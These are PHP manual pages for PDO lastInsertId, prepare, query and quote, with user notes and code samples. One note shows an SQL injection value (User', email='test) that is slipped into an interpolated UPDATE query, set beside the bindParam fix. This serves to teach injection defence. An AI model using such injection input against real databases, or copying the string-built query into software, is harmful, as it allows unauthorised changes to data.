$STH = $DBH->query("SELECT CAST(COALESCE(SCOPE_IDENTITY(), @@IDENTITY) AS int)");
$STH->execute();
$result = $STH->fetch();
print $result[0];
?>
noel dot mcavoy at gmail dot com 14-Sep-2012 04:23
This function is now compatible with the newer MS SQL driver. http://msdn.microsoft.com/en-us/library/ff628155(v=sql.105)
spark at limao dot com dot br 22-Feb-2012 10:24
Remember, if you use a transaction you should use lastInsertId BEFORE you commit
otherwise it will return 0
warezthebeef at gmail dot com 30-Aug-2011 08:04
If you're accessing MSSQL/SQL Server 2008 R2 (or higher) from Linux via FreeTDS there's a slightly neater way of getting the last insert ID than the solution(s) outlined below.

The specific SQL involved is outlined here:

http://msdn.microsoft.com/en-us/library/ms177564.aspx

So for example, with a table containing the two columns (product_id, product_name) where product_id is a uniqueidentifier or something similar you could do the following.

<?php

// Assume $dbh connection handle is already established

$sql = "INSERT INTO product (product_name) OUTPUT INSERTED.product_id VALUES (?)";

$sth = $dbh->prepare($sql);

$sth->execute(array('widgets'));

$temp = $sth->fetch(PDO::FETCH_ASSOC);

?>

Then $temp will contain an array like:

Array
(
    [product_id] => E1DA1CB0-676A-4CD9-A22C-90C9D4E81914
)

Just be warned that there are some issues relating to how uniqueidentifier columns are handled by PDO_DBLIB/FreeTDS depending on the TDS version you choose that have only been fixed as of PHP 5.3.7.

Information regarding this and the patch can be found here:

https://bugs.php.net/bug.php?id=54167
ruben02 at hotmail dot com 24-Feb-2011 04:48
I think I get a nice solution in Postgres to get the ID using the RETURNING that comes with Postgress since version 8.2. In the example below, I add to my insert clause the "returning" along with the primary key of my table, then after the execute, I do a fetch getting an array with the value of the last inserted id.

<?php
    public function insert($employee){

        $sqlQuery = "INSERT INTO employee(user_id,name,address,city) VALUES(:user_id,:name,:address,:city) RETURNING employee_id";

        $statement = $this->prepare($sqlQuery);

        $a ="2002-03-11 12:01AM" ;

        $statement->bindParam(":user_id", $employee->getUserId(), PDO::PARAM_INT);
        $statement->bindParam(":name", $employee->getName(), PDO::PARAM_STR);
        $statement->bindParam(":address", $employee->getAddress(), PDO::PARAM_STR);
        $statement->bindParam(":city", $employee->getCity(), PDO::PARAM_STR);
        $statement->execute();

        $result = $statement->fetch(PDO::FETCH_ASSOC);
        return $result["employee_id"];

    }
?>
info at nospam dot timreeves dot de 11-Dec-2008 09:03
Workaround for the fact that MSSQL does not provide lastInsertId().  This is locale-independent by design.

<?php
$mixRc = false;
try {
    // Issue a compound command, 2nd part outputs the inserted Id
    $strQuery =
    'INSERT INTO t1 (f1,f2) VALUES(v1,v2); SELECT @@IDENTITY AS mixLastId';
    // Yup, your eyes are ok, NOT exec but query!!!
    $objSth = $objDb->query($strQuery);
    $mixRc = (is_object($objSth) and $objSth->errorCode() == '00000');
}
catch (PDOException $objException) {
    $pdoMsg = $objException->getMessage();
    $pdoMsg = iconv("ISO-8859-1", "UTF-8", $pdoMsg);
    $strMessage = 'insertRecord: Failed ' .
                  $strQuery . ', Error Message: ' . $pdoMsg;
    doLog(__FILE__, __LINE__, $strMessage);
    throw new core_exception_database($strMessage);
}
if ($mixRc === false) return false;

// The compound command delivers a multi-rowset statement handle
// Move past the first (invalid) rowset from the INSERT command
$objSth->nextRowset();
// Pick up the first row of the rowset from "SELECT @@IDENTITY"
$rowTd = $objSth->fetch(PDO::FETCH_NUM);
if (!is_array($rowTd)) {
    doLog(__FILE__, __LINE__,
        'insertRecord: $objSth->fetch() returns %s', gettype($rowTd));
    return false;
}
$objSth->closeCursor();
$strLastRowId = trim($rowTd[0]); // trim() for trailing Nullbyte
// Integers are returned stringified, format depends on locale
// Generally ends with ",00" or ".00" - trim that off
$strLastRowId = preg_replace('/[,.]0+$/', '', $strLastRowId);
// Remove any remaining "." or "," for thousands
$strLastRowId = preg_replace('/[,.]/', '', $strLastRowId);
// A GUID, which contains no "," or ".", will be left unchanged
return $strLastRowId;
?>
Alfred Reinold Baudisch 07-Oct-2008 02:21
For PostgreSQL you can still use the old solution to return the last Id of an INSERT, selecting the currval of a table's id_sequence.

The code below shows a working function (which is easy adaptale into another class, etc).

<?php
// -------------------------
// Last Insert ID for PDO with PostgreSQL
// -------------------------
function pgsqlLastInsertId($sqlQuery, $pdoObject)
{
    // Checks if query is an insert and gets table name
    if( preg_match("/^INSERT[\t\n ]+INTO[\t\n ]+([a-z0-9\_\-]+)/is", $sqlQuery, $tablename) )
    {
        // Gets this table's last sequence value
        $query = "SELECT currval('" . $tablename[1] . "_id_seq') AS last_value";

        $temp_q_id = $pdoObject->prepare($query);
        $temp_q_id->execute();

        if($temp_q_id)
        {
            $temp_result = $temp_q_id->fetch(PDO::FETCH_ASSOC);
            return ( $temp_result ) ? $temp_result['last_value'] : false;
        }
    }

    return false;
}

?>

Example of use:

<?php
// ... connects to a PostgreSQL DB
$pdoObject = new PDO('pgsql:host=localhost;dbname=mydb', 'user', 'pass');

$sql = 'INSERT INTO table (column) VALUES (\'some_value\');';
$result = $pdoObject->prepare($sql);
$result->execute();

echo 'Last Insert ID: ' . pgsqlLastInsertId($sql, $pdoObject);

?>
Nour 15-Aug-2008 11:49
Beware of lastInsertId() when working with transactions in mysql. The following code returns 0 instead of the insert id.

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');

    $stmt = $dbh->prepare("INSERT INTO test (name, email) VALUES(?,?)");

    try {
        $dbh->beginTransaction();
        $tmt->execute( array('user', 'user@example.com'));
        $dbh->commit();
        print $dbh->lastInsertId();
    } catch(PDOExecption $e) {
        $dbh->rollback();
        print "Error!: " . $e->getMessage() . "</br>";
    }
} catch( PDOExecption $e ) {
    print "Error!: " . $e->getMessage() . "</br>";
}
?>

When no exception is thrown, lastInsertId returns 0. However, if lastInsertId is called before calling commit, the right id is returned.
ed at hicklinslade dot com 26-May-2008 06:05
In response to Yonatan Ben-Nes, it does appear that using the latest versions of PHP 5.x and PostgreSQL 8.x, the driver will return a "meaningful" ID (rather than an OID), provided you pass the name of the corresponding sequence.

So, if you created a table as follows:

CREATE TABLE "user" (
"id" SERIAL PRIMARY KEY NOT NULL,
"username" character varying(32)
);

PostgreSQL will (by default) create a sequence called 'user_id_seq'.

You can then do something like:

$strTable = "user":
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
Xavier Arnaus 15-May-2008 07:28
As said by Dennis Du Kroger, in this situation the function will return 0.

But you can retrieve the last inserted Id executing a query asking for the function LAST_INSERT_ID() (at least in MySQL)

Try this:

($o_db is the declared adapter)

$last_id = $o_db->fetchAll('SELECT LAST_INSERT_ID() as last_id');

$last_id = intval($last_id[0]['last_id']);
Steven L 13-May-2008 09:47
This function is not available for MSSQL either.
Jonathon Hibbard 28-Apr-2008 07:17
It should be noted here at this function will not display the correct ID if issuing ON DUPLICATE KEY UPDATE.

Example on a new Row:
<?php
$sql = "INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris";
$dbh->query($sql);
echo $dbh->lastInsertId();
?>

Above displays: 1
Expected display: 1

Example on an existing row that gets updated:
<?php
$sql = "INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris";
$dbh->query($sql);
echo $dbh->lastInsertId();
?>

Above displays: 2
Expected display: 1 (since no new records were inserted)

You'll have to work around this.
Yonatan Ben-Nes 17-May-2007 06:05
It should be mentioned that this function DOES NOT retrieve the ID (Primary key) of the row but it's OID instead.

So if you use one of the latest PostgreSQL versions this function won't help you unless you add OID to the table specifically when you create it.
Dennis Du Krøger 22-Jan-2007 11:40
It should be noted that, at least for MySQL using InnoDB tables, with transactions PDO will report the last insert id as 0 after the commit, the real ids are only reported before committing.

(As a side note, MySQL keeps the ID number incremented after a rollback).
dave at dtracorp dot com 18-Aug-2006 02:34
in case anyone was wondering
something like

$val = 5;
$sql = "REPLACE table (column) VALUES (:val)";
$stmt = $dbh->prepare($sql);
$stmt->bindParam(':val', $val, PDO::PARAM_INT);
$stmt->execute();
$lastId = $dbh->lastInsertId();

will return the last inserted id, whether the record was replaced or simply inserted

the REPLACE syntax, simply inserts, or deletes > inserts
so lastInsertId() still works

refer to http://mysql.com/doc/refman/5.0/en/replace.html
for REPLACE usage
opik at opik dot ru 20-Dec-2005 03:10
Simple example:
<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', 'root', 'passowd');

   $smf = $dbh->prepare("INSERT INTO test (`numer`) VALUES (?)");

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId().'<br />';

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId();

   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>


Prepares a statement for execution and returns a statement object

  • « PDO::lastInsertId
  • PDO::query »
  • PHP Manual
  • PDO
  • Prepares a statement for execution and returns a statement object

PDO::prepare

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::prepare — Prepares a statement for execution and returns a statement object

Description

public PDOStatement PDO::prepare ( string $statement [, array $driver_options = array() ] )

Prepares an SQL statement to be executed by the PDOStatement::execute() method. The SQL statement can contain zero or more named (:name) or question mark (?) parameter markers for which real values will be substituted when the statement is executed. You cannot use both named and question mark parameter markers within the same SQL statement; pick one or the other parameter style. Use these parameters to bind any user-input, do not include the user-input directly in the query.

You must include a unique parameter marker for each value you wish to pass in to the statement when you call PDOStatement::execute(). You cannot use a named parameter marker of the same name more than once in a prepared statement, unless emulation mode is on.

Note:

Parameter markers can represent a complete data literal only. Neither part of literal, nor keyword, nor identifier, nor whatever arbitrary query part can be bound using parameters. For example, you cannot bind multiple values to a single parameter in the IN() clause of an SQL statement.

Calling PDO::prepare() and PDOStatement::execute() for statements that will be issued multiple times with different parameter values optimizes the performance of your application by allowing the driver to negotiate client and/or server side caching of the query plan and meta information, and helps to prevent SQL injection attacks by eliminating the need to manually quote the parameters.

PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

Parameters

statement

This must be a valid SQL statement for the target database server.

driver_options

This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time.

Return Values

If the database server successfully prepares the statement, PDO::prepare() returns a PDOStatement object. If the database server cannot successfully prepare the statement, PDO::prepare() returns FALSE or emits PDOException (depending on error handling).

Note:

Emulated prepared statements does not communicate with the database server so PDO::prepare() does not check the statement.

Examples

Example #1 Prepare an SQL statement with named parameters

<?php
/* Execute a prepared statement by passing an array of values */
$sql = 'SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array(':calories' => 150, ':colour' => 'red'));
$red = $sth->fetchAll();
$sth->execute(array(':calories' => 175, ':colour' => 'yellow'));
$yellow = $sth->fetchAll();
?>

Example #2 Prepare an SQL statement with question mark parameters

<?php
/* Execute a prepared statement by passing an array of values */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array(150, 'red'));
$red = $sth->fetchAll();
$sth->execute(array(175, 'yellow'));
$yellow = $sth->fetchAll();
?>

See Also

  • PDO::exec() - Execute an SQL statement and return the number of affected rows
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

bg at enativ dot com 13-Mar-2014 12:11
if you run queries in a loop, don't include $pdo->prepare() inside the loop, it will save you some resources (and time).

prepare statement inside loop:
for($i=0; $i<1000; $i++) {
    $rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.066626071929932 microseconds

prepare statement outside loop:
$rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
for($i=0; $i<1000; $i++) {
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.064448118209839 microseconds

for 1,000 (simple) queries it took 0.002 microseconds less.
not much, but it worth mention.
pbakhuis 30-Jan-2014 12:42
Noteworthy in my opinion is that if you prepare a statement but do not bind a value to the markers it will insert null by default. e.g.
<?php
/** @var PDO $db */
$prep = $db->prepare('INSERT INTO item(title, link) VALUES(:title, :link)');
$prep->execute();
?>
Will attempt to insert null, null into the item table.
php dot chaska at xoxy dot net 06-Jul-2013 05:04
Note that for Postgres, even though Postgres does support prepared statements, PHP's PDO driver NEVER sends the prepared statement to the Postgres server in advance of the call to PDO::execute().

Therefore, PDO::prepare() will never throw an error for things like faulty SQL syntax.

It also means the server will not parse and plan the SQL until the first time PDO::execute() is called, which may or may not adversely affect your optimization plans.
Hayley Watson 27-May-2013 10:22
It is possible to prepare in advance several statements against a single connection. As long as that connection remains open the statements can be executed and fetched from as often as you like in any order; their "prepare-execute-fetch" steps can be interleaved in whichever way is best.

So if you're likely to be using several statements often (perhaps within a loop of transactions), you may like to consider preparing all the statements you'll be using up front.
Anonymous 19-Apr-2013 02:23
To those wondering why adding quotes to around a placeholder is wrong, and why you can't use placeholders for table or column names:

There is a common misconception about how the placeholders in prepared statements work: they are not simply substituted in as (escaped) strings, and the resulting SQL executed. Instead, a DBMS asked to "prepare" a statement comes up with a complete query plan for how it would execute that query, including which tables and indexes it would use, which will be the same regardless of how you fill in the placeholders.

The plan for "SELECT name FROM my_table WHERE id = :value" will be the same whatever you substitute for ":value", but the seemingly similar "SELECT name FROM :table WHERE id = :value" cannot be planned, because the DBMS has no idea what table you're actually going to select from.

Even when using "emulated prepares", PDO cannot let you use placeholders anywhere, because it would have to work out what you meant: does "Select :foo From some_table" mean ":foo" is going to be a column reference, or a literal string?

When your query is using a dynamic column reference, you should be explicitly white-listing the columns you know to exist on the table, e.g. using a switch statement with an exception thrown in the default: clause.
Kjetil H 29-Mar-2013 06:44
Please note that the correct internal method signature is:
<?php public function prepare ($statement, $driver_options = array()) ?>

and NOT:
<?php public function prepare ($statement, array $driver_options = array()) ?>.

Redeclaring the method using the latter method signature throws a Stricts Standards error.
Simon Le Pine 22-Feb-2013 02:35
Hi All,

First time posting to php.net, a little nervous.

After a bunch of searching I've learned 2 things about prepared statements:
1.) It fails if you enclose in a single quote (')
This fails: "SELECT * FROM users WHERE email=':email'"
This works: "SELECT * FROM users WHERE email=:email"
2.) You cannot search with a prepared statement
This fails: "SELECT * FROM users WHERE :search=:email"
This succeeds: "SELECT * FROM users WHERE $search=:email"

In my case I allow the user to enter their username or email, determine which they've entered and set $search to "username" or "email". As this value is not entered by the user there is no potential for SQL injection and thus safe to use as I have done.

Hope that saves someone else from a lot of searching.
orrd101 at gmail dot com 30-Apr-2012 09:46
Don't just automatically use prepare() for all of your queries.

If you are only submitting one query, using PDO::query() with PDO::quote() is much faster (about 3x faster in my test results with MySQL).  A prepared query is only faster if you are submitting thousands of identical queries at once (with different data).

If you Google for performance comparisons you will find that this is generally consistently the case, or you can write some code and do your own comparison for your particular configuration and query scenario. But generally PDO::query() will always be faster except when submitting a large number of identical queries.  Prepared queries do have the advantage of escaping the data for you, so you have to be sure to use quote() when using query().
public at grik dot net 07-Mar-2012 09:23
With PDO_MYSQL you need to remember about the PDO::ATTR_EMULATE_PREPARES option.

The default value is TRUE, like
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,true);

This means that no prepared statement is created with $dbh->prepare() call. With exec() call PDO replaces the placeholders with values itself and sends MySQL a generic query string.

The first consequence is that the call  $dbh->prepare('garbage');
reports no error. You will get an SQL error during the $dbh->exec() call.
The second one is the SQL injection risk in special cases, like using a placeholder for the table name.

The reason for emulation is a poor performance of MySQL with prepared statements. Emulation works significantly faster.
pascal dot buguet at laposte dot net 31-Aug-2010 02:11
PDO::CURSOR_SCROLL is ok with MSS.
You must install SQL Server Driver for PHP 2.0 CTP2 : SQLSRV20.EXE
and  the native client "Microsoft SQL Server 2008 R2 Native Client" : sqlncli.msi.
Robin 04-Mar-2010 02:01
Use prepared statements to ensure integrity of binary data during storage and retrieval. Escaping/quoting by f.e. sqlite_escape_string() or PDO::quote() is NOT suited for binary data - only for strings of text.

A simple test verifies perfect storage and retrieval with prepared statements:

<?php

$num_values = 10000;

$db = new pdo( 'sqlite::memory:' );

$db->exec( 'CREATE TABLE data (binary BLOB(512));' );

// generate plenty of troublesome, binary data
for( $i = 0; $i < $num_values; $i++ )
{
    for( $val = null, $c = 0; $c < 512/16; $c++ )
        $val .= md5( mt_rand(), true );
    @$binary[] = $val;
}

// insert each value by prepared statement
for( $i = 0; $i < $num_values; $i++ )
    $db->prepare( 'INSERT INTO data VALUES (?);' )->execute( array($binary[$i]) );

// fetch the entire row
$data = $db->query( 'SELECT binary FROM data;' )->fetchAll( PDO::FETCH_COLUMN );

// compare with original array, noting any mismatch
for( $i = 0; $i < $num_values; $i++ )
    if( $data[$i] != $binary[$i] ) echo "[$i] mismatch\n";

$db = null;

?>
sgirard at rossprint dot com 30-Oct-2009 12:15
Maybe everyone else already knows this but...

If you have a routine that prepares/executes many insert or update statements for a sqlite db then you may want to make use of the pdo transactions.

On some old hardware my query set went from 12 seconds to 1/3-1/2 second.

-sean
richard at codevanilla.com 11-Sep-2009 01:44
beware
PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

This includes mySQL it seems so

<?php
try{
        $sth1 = $this->db1->prepare($t1, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));

        }
        catch(PDOException $e){
                return $this->pack('dbError', $e->getMessage());
        }
?>

does not and so will not throw the exception if your SQL is wrong.

You will need to check that $sth1 is not null.
daniel dot egeberg at gmail dot com 24-May-2009 10:06
You can also pass an array of values to PDOStatement::execute(). This is also secured against SQL injection. You don't necessarily have to use bindParam() or bindValue().
admin at wdfa dot co dot uk 10-Apr-2009 06:52
Note on the SQL injection properties of prepared statements.

Prepared statements only project you from SQL injection IF you use the bindParam or bindValue option.

For example if you have a table called users with two fields, username and email and someone updates their username you might run

UPDATE `users` SET `user`='$var'

where $var would be the user submitted text.

Now if you did
<?php
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user='$var'");
$b->execute();
?>

and the user had entered  User', email='test for a test the injection would occur and the email would be updated to test as well as the user being updated to User.

Using bindParam as follows
 <?php
$var="User', email='test";
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user=:var");
$b->bindParam(":var",$var);
$b->execute();
?>

The sql would be escaped and update the username to User', email='test'
ak_9jsz 19-May-2008 07:16
Using cursors doesn't work with SQLite 3.5.9. I get an error message when it gets to the execute() method.

Some of you might be saying "duh!" but i was surprised to see TRIGGER support in SQLite, so i had to try. :)

I wanted to use Absolute referencing on a Scrollable cursor and i only wanted one column of data. So i used this instead of a cursor.

<?php

$dbo = new PDO('sqlite:tdb');
$sql = 'SELECT F1, F2 FROM tblA WHERE F1 <> "A";';
$res = $dbo->prepare($sql);
$res->execute();
$resColumn = $res->fetchAll(PDO::FETCH_COLUMN, 0);

for($r=0;$r<=3;$r++)
    echo 'Row '. $r . ' returned: ' . $resColumn[$r] . "\n";

$dbo = null;
$res = null;
?>
Stan 14-Nov-2007 04:35
Using prepared SELECT statements on a MySQL database prior to MySQL 5.1.17 can lead to SERIOUS performance degradation.

Quote from http://dev.mysql.com/doc/refman/5.1/en/query-cache.html :

>> The query cache is not used for server-side prepared statements before MySQL 5.1.17 <<

The MySQL query cache buffers complete query results and is used to satisfy repeated identical queries if the underlying tables do not change in the meantime - just what happens all the time in a typical web application. It speeds up queries by a several hundred to a several thousand percent.

Obviously, it doesn't make much sense to give up query caching for the relatively small performance benefit of prepared statements (i.e. the DBMS not having to parse and optimize the same query multiple times) - so using PDO->query() for SELECT statements is probably the better choice i you're connecting to MySQL < 5.1.17.
www.onphp5.com 07-Apr-2007 03:41
Please note that the statement regarding driver_options is misleading:

"This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time"

From this you might think that scrollable cursors work for all databases, but they don't! Check out this bug report:
http://bugs.php.net/bug.php?id=34625
johniskew 22-Feb-2007 05:03
If you need to create variable sql statements in a prepare statement...for example you may need to construct a sql query with zero, one, two, etc numbers of arguments...here is a way to do it without a lot of if/else statements needed to glue the sql together:

<?php

    public function matchCriteria($field1=null,$field2=null,$field3=null) {
        $db=DB::conn();
        $sql=array();
        $paramArray=array();
        if(!empty($field1)) {
            $sql[]='field1=?';
            $paramArray[]=$field1;
        }
        if(!empty($field2)) {
            $sql[]='field2=?';
            $paramArray[]=$field2;
        }
        if(!empty($field3)) {
            $sql[]='field3=?';
            $paramArray[]=$field3;
        }
        $rs=$db->prepare('SELECT * FROM mytable'.(count($paramArray)>0 ? ' WHERE '.join(' AND ',$sql) : ''));
        $result=$rs->execute($paramArray);
        if($result) {
            return $rs;
        }
        return false;
    }

?>
william dot clarke at gmail dot com 01-Sep-2006 12:58
Surely if you want to use prepared statements that way you should use the syntax in the second example:

eg.

instead of:
select id,name from demo_de where name LIKE :name OR name=:name

use:
select id,name from demo_de where name LIKE ? OR name=?

I believe you are supposed to either use distinct named parameters (name, name1) OR anonymous parameters (?s)
roth at egotec dot com 30-Aug-2006 10:58
Attention using MySQL and prepared statements.
Using a placeholder multiple times inside a statement doesn't work. PDO just translates the first occurance und leaves the second one as is.

select id,name from demo_de where name LIKE :name OR name=:name

You have to use

select id,name from demo_de where name LIKE :name OR name=:name2

and bind name two times. I don't know if other databases (for example Oracle or MSSQL) support multiple occurances. If that's the fact, then the PDO behaviour for MySQL should be changed.


Executes an SQL statement, returning a result set as a PDOStatement object

  • « PDO::prepare
  • PDO::quote »
  • PHP Manual
  • PDO
  • Executes an SQL statement, returning a result set as a PDOStatement object

PDO::query

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDO::query — Executes an SQL statement, returning a result set as a PDOStatement object

Description

public PDOStatement PDO::query ( string $statement )
public PDOStatement PDO::query ( string $statement , int $PDO::FETCH_COLUMN , int $colno )
public PDOStatement PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs )
public PDOStatement PDO::query ( string $statement , int $PDO::FETCH_INTO , object $object )

PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.

For a query that you need to issue multiple times, you will realize better performance if you prepare a PDOStatement object using PDO::prepare() and issue the statement with multiple calls to PDOStatement::execute().

If you do not fetch all of the data in a result set before issuing your next call to PDO::query(), your call may fail. Call PDOStatement::closeCursor() to release the database resources associated with the PDOStatement object before issuing your next call to PDO::query().

Note:

Although this function is only documented as having a single parameter, you may pass additional arguments to this function. They will be treated as though you called PDOStatement::setFetchMode() on the resultant statement object.

Parameters

statement

The SQL statement to prepare and execute.

Data inside the query should be properly escaped.

Return Values

PDO::query() returns a PDOStatement object, or FALSE on failure.

Examples

Example #1 Demonstrate PDO::query

A nice feature of PDO::query() is that it enables you to iterate over the rowset returned by a successfully executed SELECT statement.

<?php
function getFruit($conn) {
    $sql = 'SELECT name, color, calories FROM fruit ORDER BY name';
    foreach ($conn->query($sql) as $row) {
        print $row['name'] . "\t";
        print $row['color'] . "\t";
        print $row['calories'] . "\n";
    }
}
?>

The above example will output:

apple   red     150
banana  yellow  250
kiwi    brown   75
lemon   yellow  25
orange  orange  300
pear    green   150
watermelon      pink    90

See Also

  • PDO::exec() - Execute an SQL statement and return the number of affected rows
  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

stefano[dot]bertoli [at] gmail[dot]com 08-Sep-2014 11:14
Trying to pass like second argument PDO::FETCH_ASSOC it still work.

So passing FETCH TYPE like argument seems work.

This save you from something like:

<?php
$result = $stmt->setFetchMode(PDO::FETCH_NUM);
?>

Example:
<?php
$res = $db->query('SELECT * FROM `mytable` WHERE true', PDO::FETCH_ASSOC);

?>
paolo at dellunto dot net 14-Oct-2013 08:21
If you are using PDO to create an SQLite dbfile that will be used by an Android application, you can set common values via the $dbh->query("PRAGMA ...") statement;

a tipical example would be the user_version of the database or the page_size
<?php
...
$dbh = new PDO($PDO_DSN, null, null, null);
$dbh->query("PRAGMA page_size = 4096"); //Android match page size
$dbh->query("PRAGMA user_version = 2"); //This match super(context, DB_NAME, null, DB_VERSION) of the DatabaseOpenHelper
....
?>
marcos at marcosregis dot com 24-Sep-2008 06:14
After a lot of hours working with DataLink on Oracle->MySQL and PDO we (me and Adriano Rodrigues, that solve it) discover that PDO (and oci too) need the attribute AUTOCOMMIT set to FALSE to work correctly with.
There's  3 ways to set autocommit to false: On constructor, setting the atribute after construct and before query data or initiating a Transaction (that turns off autocommit mode)

The examples:
<?php
// First way - On PDO Constructor
$options = array(PDO::ATTR_AUTOCOMMIT=>FALSE);

$pdo = new PDO($dsn,$user,$pass,$options);

// now we are ready to query DataLinks

?>

<?php
// Second Way - Before create statements
$pdo = new PDO($dsn,$user,$pass);

$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,FALSE);
// or
$pdo->beginTransaction();

// now we are ready to query DataLinks
?>

To use DataLinks on oci just use OCI_DEFAULT on oci_execute() function;
andrea at bhweb dot it 16-Jul-2008 12:57
If someone is suffering of the "MySQL server has gone away" problem after executing multiple queries, this is a solution that solved it for me. It's similar to the one needed for the exact same problem in mysqli.

<?php
$stmt=$db->prepare($query);
$stmt->execute();
do { $stmt->fetch(); $stmt->closeCursor(); ++$line; } while($stmt-
>nextRowset());
?>

I found this only works using prepare and execute this way, not if you
directly execute the query with query().
NUNTIUS 22-Jan-2008 06:01
I found this method extremely useful for getting the iteration count. Note the usage of "for" instead of "while" or "foreach". Just place the "$row = $query->fetch()" as the second condition of your for loop (which is do until). This is the best of both worlds IMHO. Criticism welcome.

try {
    $hostname = "servername";
    $dbname = "dbname";
    $username = "username";
    $pw = "password";
    $pdo = new PDO ("mssql:host=$hostname;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
      $query = $pdo->prepare("select name FROM tbl_name");
      $query->execute();

      for($i=0; $row = $query->fetch(); $i++){
        echo $i." - ".$row['name']."<br/>";
      }

      unset($pdo);
      unset($query);
fredrik at NOSPAM dot rambris dot com 05-May-2007 06:04
The handling of errors by this function is controlled by the attribute PDO::ATTR_ERRMODE.

Use the following to make it throw an exception:
<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
?>
nicobn at gmail dot com 27-Apr-2007 12:29
Please note that when Query() fails, it does not return a PDOStatement object . It simply returns false.
jonmsawyer at gmail dot com 23-Jan-2007 09:03
@ dozoyousan at gmail dot com
> 03-May-2006 05:26
> > When query() fails, the boolean false is returned.
>
> I think that is "Silent Mode".
> If that set attribute ErrorMode "Exception Mode"
> then that throw PDOException.
> $pdoObj = new PDO( $dsn, $user, $pass );
> $pdoObj->setAttribute("PDO::ATTR_ERRMODE",
> PDO::ERRMODE_EXCEPTION);

What you say is correct, however, your PHP code is incorrect:

<?php
    // This is fine
    $pdoObj = new PDO( $dsn, $user, $pass );

    // This line is wrong
    $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);

    // It should be:
    $pdoObj->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // Parameter 1 should not be in quotes. PHP interprets
    // that as a string. Instead, internally, its represented
    // as type LONG INT. Try it :)
?>

Hope this helps. Cheers.
dozoyousan at gmail dot com 03-May-2006 07:26
> When query() fails, the boolean false is returned.

I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode"
then that throw PDOException.
 $pdoObj = new PDO( $dsn, $user, $pass );
 $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);


Quotes a string for use in a query.

  • « PDO::query
  • PDO::rollBack »
  • PHP Manual
  • PDO
  • Quotes a string for use in a query.

PDO::quote

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.1)

PDO::quote — Quotes a string for use in a query.

Description

public string PDO::quote ( string $string [, int $parameter_type = PDO::PARAM_STR ] )

PDO::quote() places quotes around the input string (if required) and escapes special characters within the input string, using a quoting style appropriate to the underlying driver.

If you are using this function to build SQL statements, you are strongly recommended to use PDO::prepare() to prepare SQL statements with bound parameters instead of using PDO::quote() to interpolate user input into an SQL statement. Prepared statements with bound parameters are not only more portable, more convenient, immune to SQL injection, but are often much faster to execute than interpolated queries, as both the server and client side can cache a compiled form of the query.

Not all PDO drivers implement this method (notably PDO_ODBC). Consider using prepared statements instead.

Caution

Security: the default character set

The character set must be set either on the server level, or within the database connection itself (depending on the driver) for it to affect PDO::quote(). See the driver-specific documentation for more information.

Parameters

string

The string to be quoted.

parameter_type

Provides a data type hint for drivers that have alternate quoting styles.

Return Values

Returns a quoted string that is theoretically safe to pass into an SQL statement. Returns FALSE if the driver does not support quoting in this way.

Examples

Example #1 Quoting a normal string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Simple string */
$string = 'Nice';
